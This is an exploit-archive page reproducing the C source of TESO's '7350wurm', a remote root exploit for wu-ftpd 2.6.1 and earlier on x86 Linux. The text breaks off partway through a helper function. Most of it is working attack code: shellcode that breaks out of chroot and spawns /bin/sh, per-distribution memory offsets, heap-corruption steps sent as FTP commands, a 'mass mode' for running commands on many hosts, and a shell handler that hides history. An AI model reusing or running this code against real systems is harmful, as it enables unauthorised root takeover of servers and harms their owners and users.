Lucene search
K

wu-ftpd <= 2.6.1 - Remote Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 190 Views

Remote Root Exploit in wu-ftpd version <= 2.6.

Code

                                                /* 7350wurm - x86/linux wu_ftpd remote root exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * The distribution restrictions cover the entire file, including this
 * header notice. (This means, you are not allowed to reproduce the header).
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and
 * ideas (synnergy.net rocks, thank you buddies ! :).
 */

#define VERSION &#34;0.2.2&#34;

/* TODO 1. fix chroot break on linux 2.4.x (x &#62;= 13?)
 *         (ptrace inject on ppid())
 */

#include &#60;sys/types.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;arpa/telnet.h&#62;
#include &#60;netdb.h&#62;
#include &#60;errno.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;stdarg.h&#62;
#include &#60;string.h&#62;
#include &#60;time.h&#62;


#define INIT_CMD        &#34;unset HISTFILE;id;uname -a;\n&#34;

/* shellcodes
 */
unsigned char   x86_lnx_loop[] =
        &#34;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&#34;
        &#34;\xeb\xfe&#34;;

/* x86/linux write/read/exec code (41 bytes)
 * does: 1. write (1, &#34;\nsP\n&#34;, 4);
 *       2. read (0, ncode, 0xff);
 *       3. jmp ncode
 */
unsigned char   x86_wrx[] =
        &#34;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&#34;

        &#34;\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01&#34;
        &#34;\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb&#34;
        &#34;\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd&#34;
        &#34;\x80\xeb\x05\xe8\xed\xff\xff\xff&#34;;


unsigned char   x86_lnx_execve[] =
        /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break
         * code by lorian / teso
         */
        &#34;\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54&#34;
        &#34;\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80&#34;
        &#34;\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b&#34;
        &#34;\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd&#34;
        &#34;\x80&#34;

        /* 34 byte x86 linux argv code -sc
         */
        &#34;\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75&#34;
        &#34;\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89&#34;
        &#34;\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff&#34;;


/* setreuid/chroot/execve
 * lorian / teso */
unsigned char   x86_lnx_shell[] =
/* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and
 *       2.4.13 they changed chroot behaviour. maybe to ptrace-inject
 *       on parent process (inetd) and execute code there. (optional)
 */
        &#34;\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54&#34;
        &#34;\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80&#34;
        &#34;\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b&#34;
        &#34;\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd&#34;
        &#34;\x80&#34;
        &#34;\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f&#34;
        &#34;\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80&#34;;


typedef struct {
        char *                  desc;           /* distribution */
        char *                  banner;         /* ftp banner part */
        unsigned char *         shellcode;
        unsigned int            shellcode_len;

        unsigned long int       retloc;         /* return address location */
        unsigned long int       cbuf;           /* &cbuf[0] */
} tgt_type;


tgt_type tmanual = {
        &#34;manual values&#34;,
        &#34;unknown banner&#34;,
        x86_wrx, sizeof (x86_wrx) - 1,
        0x41414141, 0x42424242
};

tgt_type targets[] = {
        { &#34;Caldera eDesktop|eServer|OpenLinux 2.3 update &#34;
                &#34;[wu-ftpd-2.6.1-13OL.i386.rpm]&#34;,
                &#34;Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e2b0, 0x080820a0 },

        { &#34;Debian potato [wu-ftpd_2.6.0-3.deb]&#34;,
                &#34;Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db00, 0x0807f520 },

        { &#34;Debian potato [wu-ftpd_2.6.0-5.1.deb]&#34;,
                &#34;Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db80, 0x0807f5a0 },

        { &#34;Debian potato [wu-ftpd_2.6.0-5.3.deb]&#34;,
                &#34;Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db80, 0x0807f5a0 },

        { &#34;Debian sid [wu-ftpd_2.6.1-5_i386.deb]&#34;,
                &#34;Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e7a0, 0x0807ffe0 },

        { &#34;Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x080713e0, 0x08082e00 },

        { &#34;Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]&#34;,
                &#34;Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08072bd4, 0x08086400 },

        { &#34;Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]&#34;,
                &#34;Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f7f0, 0x08082600 },

        { &#34;Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]&#34;,
                &#34;Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08071850, 0x08084660 },

        { &#34;Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]&#34;,
                &#34;Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806fec4, 0x08082b40 },

        { &#34;RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Mon Jan 18 19:19:31 EST 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08061cf0, 0x08068540 },       /* XXX: manually found */

        { &#34;RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Mon Aug 3 19:17:20 EDT 1998&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08061c48, 0x08068490 },       /* XXX: manually found */

        { &#34;RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806b530, 0x08076550 },       /* XXX: manually found */

#if 0
        /* XXX: not exploitable using synnergy.net method. (glob code
         *      does not handle {.,.,.,.}
         */
        { &#34;RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]&#34;,
                &#34;Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08069f04, 0x08079f60 },
#endif

        { &#34;RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e620, 0x080803e0 },

        { &#34;RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08070538, 0x08083360 },

        { &#34;RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]&#34;,
                &#34;Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806cb88, 0x0807cc40 },

        { &#34;RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e1a0, 0x0807fbc0 },

        { &#34;RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]&#34;,
                &#34;Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08070ddc, 0x08084600 },

        { &#34;RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]&#34;,
                &#34;Version wu-2.6.1-16&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0807314c, 0x08085de0 },

        { &#34;RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]&#34;,
                &#34;Version wu-2.6.1-18&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08072c30, 0x08085900 },

        { &#34;SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e6b4, 0x080800c0 },

        { &#34;SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Wed Aug 30 22:26:37 GMT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806989c, 0x08069f80 },

        { &#34;SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f85c, 0x08081280 },

        { &#34;SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f4e0, 0x08080f00 },

        { &#34;SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Mon Jun 26 13:11:56 GMT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a234, 0x0806a880 },

        { &#34;SuSE 7.0 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f180, 0x08080ba0 },

        { &#34;SuSE 7.0 wu-2.4.2 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Wed Sep 20 23:52:21 GMT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a554, 0x0806aba0 },

        { &#34;SuSE 7.1 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f168, 0x08080980 },

        { &#34;SuSE 7.1 wu-2.4.2 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Thu Mar 1 14:44:08 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a534, 0x0806ab80 },

        { &#34;SuSE 7.2 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f58c, 0x08080dc0 },

        { &#34;SuSE 7.2 wu-2.4.2 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Mon Jun 18 12:35:12 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a784, 0x0806ae40 },

        { &#34;SuSE 7.3 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f31c, 0x08080aa0 },

        { &#34;SuSE 7.3 wu-2.4.2 [wuftpd.rpm]&#34;,
                &#34;Version wu-2.4.2-academ[BETA-18](1) &#34;
                        &#34;Thu Oct 25 03:14:49 GMT 2001&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a764, 0x0806ad60 },
#if 0

        /* slackware (from 8 on they use proftpd by default) */
        { &#34;Slackware 7&#34;,
                &#34;Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806d03c, 0x0808f648 },
#endif

        { &#34;Slackware 7.1&#34;,
                &#34;Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000&#34;,
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806ba2c, },

        { NULL, NULL, 0, 0, 0, 0 },
};

/* exploitation related stuff.
 * DO NOT CHANGE, except you know exactly what you are doing.
 */
#define CHUNK_POS       256

#define MALLOC_ALIGN_MASK       0x07
#define MALLOC_MINSIZE          0x10
#define CHUNK_ALLSIZE(s) \
        CHUNK_ROUND((s)) + 0x08
#define CHUNK_ROUND(s) \
        (((((s) + 4 + MALLOC_ALIGN_MASK)) &#60; \
                (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \
        (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & \
        ~MALLOC_ALIGN_MASK))

/* minimum sized malloc(n) allocation that will jield in an overall
 * chunk size of s. (s must be a valid %8=0 chunksize)
 */
#define CHUNK_ROUNDDOWN(s) \
        ((s) &#60;= 0x8) ? (1) : ((s) - 0x04 - 11)
#define CHUNK_STRROUNDDOWN(s) \
        (CHUNK_ROUNDDOWN ((s)) &#62; 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1)


/* FTP related stuff
 */
char *  dest = &#34;127.0.0.1&#34;;     /* can be changed with -d */
char *  username = &#34;ftp&#34;;       /* can be changed with -u */
char *  password = &#34;mozilla@&#34;;  /* can be changed with -p */

char *  ftp_banner = NULL;

int     verbose = 0;


/* FTP prototypes
 */
void ftp_escape (unsigned char *buf, unsigned long int buflen);
void ftp_recv_until (int sock, char *buff, int len, char *begin);
int ftp_login (char *host, char *user, char *pass);


/* main prototypes
 */
void usage (char *progname);
void exploit (int fd, tgt_type *tgt);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

void tgt_list (void);
tgt_type * tgt_frombanner (unsigned char *banner);

void xp_buildsize (int fd, unsigned char this_size_ls,
        unsigned long int csize);
void xp_gapfill (int fd, int rnfr_num, int rnfr_size);
int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);
void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen);


/*** MASS mode stuff
 */
static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
        unsigned char *shellcode, char **argv);

int             mass = 0;       /* enable with -m (kids, get hurt!) */
unsigned int    mlen = 0;
unsigned char   mcode[256];


/* imported from network.c
 */
#define NET_CONNTIMEOUT 60
#define NET_READTIMEOUT 20
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);
void net_write (int fd, const char *str, ...);
int net_rtimeout (int fd, int sec);
int net_rlinet (int fd, char *buf, int bufsize, int sec);


/* exploitation related stuff, which is fixed on all wuftpd systems
 */
#define RNFR_SIZE       4
#define RNFR_NUM        73

int     automode = 0;   /* evil, do not use */
int     debugmode = 0;

void
usage (char *progname)
{
        fprintf (stderr, &#34;usage: %s [-h] [-v] [-a] [-D] [-m]\n&#34;
                &#34;\t[-t &#60;num&#62;] [-u &#60;user&#62;] [-p &#60;pass&#62;] [-d host]\n&#34;
                &#34;\t[-L &#60;retloc&#62;] [-A &#60;retaddr&#62;]\n\n&#34;, progname);

        fprintf (stderr,
                &#34;-h\tthis help\n&#34;
                &#34;-v\tbe verbose (default: off, twice for greater effect)\n&#34;
                &#34;-a\tAUTO mode (target from banner)\n&#34;
                &#34;-D\tDEBUG mode (waits for keypresses)\n&#34;
                &#34;-m\tenable mass mode (use with care)\n&#34;
                &#34;-t num\tchoose target (0 for list, try -v or -v -v)\n&#34;
                &#34;-u user\tusername to login to FTP (default: \&#34;ftp\&#34;)\n&#34;
                &#34;-p pass\tpassword to use (default: \&#34;mozilla@\&#34;)\n&#34;
                &#34;-d dest\tIP address or fqhn to connect to &#34;
                        &#34;(default: 127.0.0.1)\n&#34;
                &#34;-L loc\toverride target-supplied retloc &#34;
                        &#34;(format: 0xdeadbeef)\n&#34;
                &#34;-A addr\toverride target-supplied retaddr &#34;
                        &#34;(format: 0xcafebabe)\n&#34;);
        fprintf (stderr, &#34;\n&#34;);

        exit (EXIT_FAILURE);
}

unsigned char *         shellcode = NULL;
unsigned long int       shellcode_len = 0;
unsigned long int       user_retloc = 0,
                        user_retaddr = 0;


int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;       /* = argv[0] */
        int                     fd;

        tgt_type *              tgt = NULL;
        int                     tgt_num = -1;

        unsigned char           xpbuf[512 + 16];


        fprintf (stderr, &#34;7350wurm - x86/linux wuftpd &#60;= 2.6.1 remote root &#34;
                &#34;(version &#34;VERSION&#34;)\n&#34;
                &#34;team teso (thx bnuts, tomas, synnergy.net !).\n\n&#34;);

        progname = argv[0];
        if (argc &#60; 2)
                usage (progname);


        while ((c = getopt (argc, argv, &#34;hvaDmt:u:p:d:L:A:&#34;)) != EOF) {
                switch (c) {
                case &#39;h&#39;:
                        usage (progname);
                        break;
                case &#39;a&#39;:
                        automode = 1;
                        break;
                case &#39;D&#39;:
                        debugmode = 1;
                        break;
                case &#39;v&#39;:
                        verbose += 1;
                        break;
                case &#39;m&#39;:
                        mass = 1;
                        break;
                case &#39;t&#39;:
                        if (sscanf (optarg, &#34;%u&#34;, &tgt_num) != 1)
                                usage (progname);
                        break;
                case &#39;u&#39;:
                        username = &#34;h0ra&#34;;
                        printf (&#34;username = %s\n&#34;, optarg);
                        break;
                case &#39;p&#39;:
                        password = optarg;
                        break;
                case &#39;d&#39;:
                        dest = optarg;
                        break;
                case &#39;L&#39;:
                        if (sscanf (optarg, &#34;0x%lx&#34;, &user_retloc) != 1)
                                usage (progname);
                        break;
                case &#39;A&#39;:
                        if (sscanf (optarg, &#34;0x%lx&#34;, &user_retaddr) != 1)
                                usage (progname);
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        /* if both required offsets are given manually, then we dont have
         * to require a target selection. otherwise check whether the target
         * is within the list. if its not, then print a list of available
         * targets
         */
        if (user_retloc != 0 && user_retaddr != 0) {
                tgt = &tmanual;
        } else if (automode == 0 && (tgt_num == 0 ||
                tgt_num &#62;= (sizeof (targets) / sizeof (tgt_type))))
        {
                if (tgt_num != 0)
                        printf (&#34;WARNING: target out of list. list:\n\n&#34;);

                tgt_list ();

                exit (EXIT_SUCCESS);
        }
        if (tgt == NULL && automode == 0)
                tgt = &targets[tgt_num - 1];

        if (mass == 1) {
                if ((argc - optind) == 0)
                        usage (progname);

                mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
                        x86_lnx_execve, &argv[optind]);

                if (mlen &#62;= 0xff) {
                        fprintf (stderr, &#34;created argv-code too long &#34;
                                &#34;(%d bytes)\n&#34;, mlen);

                        exit (EXIT_FAILURE);
                }

                fprintf (stderr, &#34;# created %d byte execve shellcode\n&#34;, mlen);
        }

        printf (&#34;# trying to log into %s with (%s/%s) ...&#34;, dest,
                username, password);
        fflush (stdout);

        fd = ftp_login (dest, username, password);
        if (fd &#60;= 0) {
                fprintf (stderr, &#34;\nfailed to connect (user/pass correct?)\n&#34;);
                exit (EXIT_FAILURE);
        }
        printf (&#34; connected.\n&#34;);

        if (debugmode) {
                printf (&#34;DEBUG: press enter\n&#34;);
                getchar ();
        }

        printf (&#34;# banner: %s&#34;, (ftp_banner == NULL) ? &#34;???&#34; :
                ftp_banner);

        if (tgt == NULL && automode) {
                tgt = tgt_frombanner (ftp_banner);
                if (tgt == NULL) {
                        printf (&#34;# failed to jield target from banner, aborting\n&#34;);

                        exit (EXIT_FAILURE);
                }
                printf (&#34;# successfully selected target from banner\n&#34;);
        }

        if (shellcode == NULL) {
                shellcode = tgt-&#62;shellcode;
                shellcode_len = tgt-&#62;shellcode_len;
        }

        if (verbose &#62;= 2) {
                printf (&#34;using %lu byte shellcode:\n&#34;, shellcode_len);

                hexdump (&#34;shellcode&#34;, shellcode, shellcode_len);
        }

        if (user_retaddr != 0) {
                fprintf (stderr, &#34;# overriding target retaddr with: 0x%08lx\n&#34;,
                        user_retaddr);
        }

        if (user_retloc != 0) {
                fprintf (stderr, &#34;# overriding target retloc with: 0x%08lx\n&#34;,
                        user_retloc);

                tgt-&#62;retloc = user_retloc;
        }

        printf (&#34;\n### TARGET: %s\n\n&#34;, tgt-&#62;desc);

        /* real stuff starts from here
         */
        printf (&#34;# 1. filling memory gaps\n&#34;);
        xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);

        exploit (fd, tgt);

        printf (&#34;# 3. triggering free(globlist[1])\n&#34;);
        net_write (fd, &#34;CWD ~{\n&#34;);

        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), &#34;sP&#34;);
        if (strncmp (xpbuf, &#34;sP&#34;, 2) != 0) {
                fprintf (stderr, &#34;exploitation FAILED !\noutput:\n%s\n&#34;,
                        xpbuf);

                exit (EXIT_FAILURE);
        }

        printf (&#34;#\n# exploitation succeeded. sending real shellcode\n&#34;);

        if (mass == 1) {
                printf (&#34;# mass mode, sending constructed argv code\n&#34;);

                write (fd, mcode, mlen);

                printf (&#34;# send. sleeping 10 seconds\n&#34;);
                sleep (10);

                printf (&#34;# success.\n&#34;);

                exit (EXIT_SUCCESS);
        }

        printf (&#34;# sending setreuid/chroot/execve shellcode\n&#34;);
        net_write (fd, &#34;%s&#34;, x86_lnx_shell);

        printf (&#34;# spawning shell\n&#34;);
        printf (&#34;##################################################&#34;
                        &#34;##########################\n&#34;);

        write (fd, INIT_CMD, strlen (INIT_CMD));
        shell (fd);

        exit (EXIT_SUCCESS);
}


void
exploit (int fd, tgt_type *tgt)
{
        unsigned long int       dir_chunk_size,
                                bridge_dist,
                                padchunk_size,
                                fakechunk_size,
                                pad_before;
        unsigned char *         dl;     /* dirlength */

        unsigned char           xpbuf[512 + 64];


        /* figure out home directory length
         */
        net_write (fd, &#34;PWD\n&#34;);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), &#34;257 &#34;);

        dl = strchr (xpbuf, &#39;&#34;&#39;);
        if (dl == NULL || strchr (dl + 1, &#39;&#34;&#39;) == NULL) {
                fprintf (stderr, &#34;faulty PWD reply: %s\n&#34;, xpbuf);

                exit (EXIT_FAILURE);
        }

        dir_chunk_size = 0;
        for (dl += 1 ; *dl != &#39;&#34;&#39; ; ++dl)
                dir_chunk_size += 1;

        if (verbose)
                printf (&#34;PWD path (%lu): %s\n&#34;, dir_chunk_size, xpbuf);

        /* compute chunk size from it (needed later)
         */
        dir_chunk_size += 3;    /* ~/ + NUL byte */
        dir_chunk_size = CHUNK_ROUND (dir_chunk_size);
        if (debugmode)
                printf (&#34;dir_chunk_size = 0x%08lx\n&#34;, dir_chunk_size);


        /* send preparation buffer to store the fakechunk in the end of
         * the malloc buffer allocated from within the parser ($1)
         */
        printf (&#34;# 2. sending bigbuf + fakechunk\n&#34;);
        xp_build (tgt, xpbuf, 500 - strlen (&#34;LIST &#34;));
        if (verbose)
                hexdump (&#34;xpbuf&#34;, xpbuf, strlen (xpbuf));

        ftp_escape (xpbuf, sizeof (xpbuf));
        net_write (fd, &#34;CWD %s\n&#34;, xpbuf);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), &#34;550 &#34;);


        /* synnergy.net uberleet method (thank you very much guys !)
         */
        net_write (fd, &#34;CWD ~/{.,.,.,.}\n&#34;);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), &#34;250 &#34;);

        /* now, we flush the last-used-chunk marker in glibc malloc code. else
         * we might land in a previously used bigger chunk, but we need a
         * sequential order. &#34;CWD .&#34; will allocate a two byte chunk, which will
         * be reused on any later small malloc.
         */
        net_write (fd, &#34;CWD .\n&#34;);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), &#34;250 &#34;);


        /* cause chunk with padding size
         */
        pad_before = CHUNK_ALLSIZE (strlen (&#34;~/{.,.,.,.}\n&#34;)) +
                        dir_chunk_size - 0x08;
        xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before));

        /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */
        bridge_dist = 0x10 + 4 * dir_chunk_size;
        if (debugmode)
                printf (&#34;bridge_dist = 0x%08lx\n&#34;, bridge_dist);

        /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */
        padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;
        if (debugmode)
                printf (&#34;padchunk_size = 0x%08lx\n&#34;, padchunk_size);

        /* +4 = this_size field itself */
        fakechunk_size = CHUNK_POS + 4;
        fakechunk_size -= pad_before;
        fakechunk_size += 0x04; /* account for prev_size, too */
        fakechunk_size |= 0x1;  /* set PREV_INUSE */

        if (debugmode)
                printf (&#34;fakechunk_size = 0x%08lx\n&#34;, fakechunk_size);
        xp_buildsize (fd, fakechunk_size, 0x10);

        /* pad down to the minimum possible size in 8 byte alignment
         */
        if (verbose)
                printf (&#34;\npadchunk_size = 0x%08lx\n==&#62; %lu\n&#34;,
                        padchunk_size, padchunk_size - 8 - 1);
        xp_gapfill (fd, 1, padchunk_size - 8 - 1);

        if (debugmode) {
                printf (&#34;press enter\n&#34;);
                getchar ();
        }

        return;
}


/* tgt_list
 *
 * give target list
 */

void
tgt_list (void)
{
        int     tgt_num;


        printf (&#34;num . description\n&#34;);
        printf (&#34;----+-----------------------------------------------&#34;
                &#34;--------\n&#34;);

        for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
                printf (&#34;%3d | %s\n&#34;, tgt_num + 1, targets[tgt_num].desc);

                if (verbose)
                        printf (&#34;    :    %s\n&#34;, targets[tgt_num].banner);
                if (verbose &#62;= 2)
                        printf (&#34;    :    retloc: 0x%08lx   &#34;
                                &#34;cbuf: 0x%08lx\n&#34;,
                                targets[tgt_num].retloc,
                                targets[tgt_num].cbuf);
        }
        printf (&#34;    &#39;\n&#34;);

        return;
}


/* tgt_frombanner
 *
 * try to automatically select target from ftp banner
 *
 * return pointer to target structure on success
 * return NULL on failure
 */

tgt_type *
tgt_frombanner (unsigned char *banner)
{
        int     tw;     /* target list walker */


        for (tw = 0 ; targets[tw].desc != NULL ; ++tw) {
                if (strstr (banner, targets[tw].banner) != NULL)
                        return (&targets[tw]);
        }

        return (NULL);
}


/* xp_buildsize
 *
 * set chunksize to this_size_ls. do this in a csize bytes long chunk.
 * normally csize = 0x10. csize is always a padded chunksize.
 */

void
xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)
{
        int             n,
                        cw;     /* chunk walker */
        unsigned char   tmpbuf[512];
        unsigned char * leet = &#34;7350&#34;;


        for (n = 2 ; n &#62; 0 ; --n) {
                memset (tmpbuf, &#39;\0&#39;, sizeof (tmpbuf));

                for (cw = 0 ; cw &#60; (csize - 0x08) ; ++cw)
                        tmpbuf[cw] = leet[cw % 4];

                tmpbuf[cw - 4 + n] = &#39;\0&#39;;
                if (debugmode)
                        printf (&#34;: CWD %s\n&#34;, tmpbuf);

                net_write (fd, &#34;CWD %s\n&#34;, tmpbuf);
                ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), &#34;550 &#34;);
        }

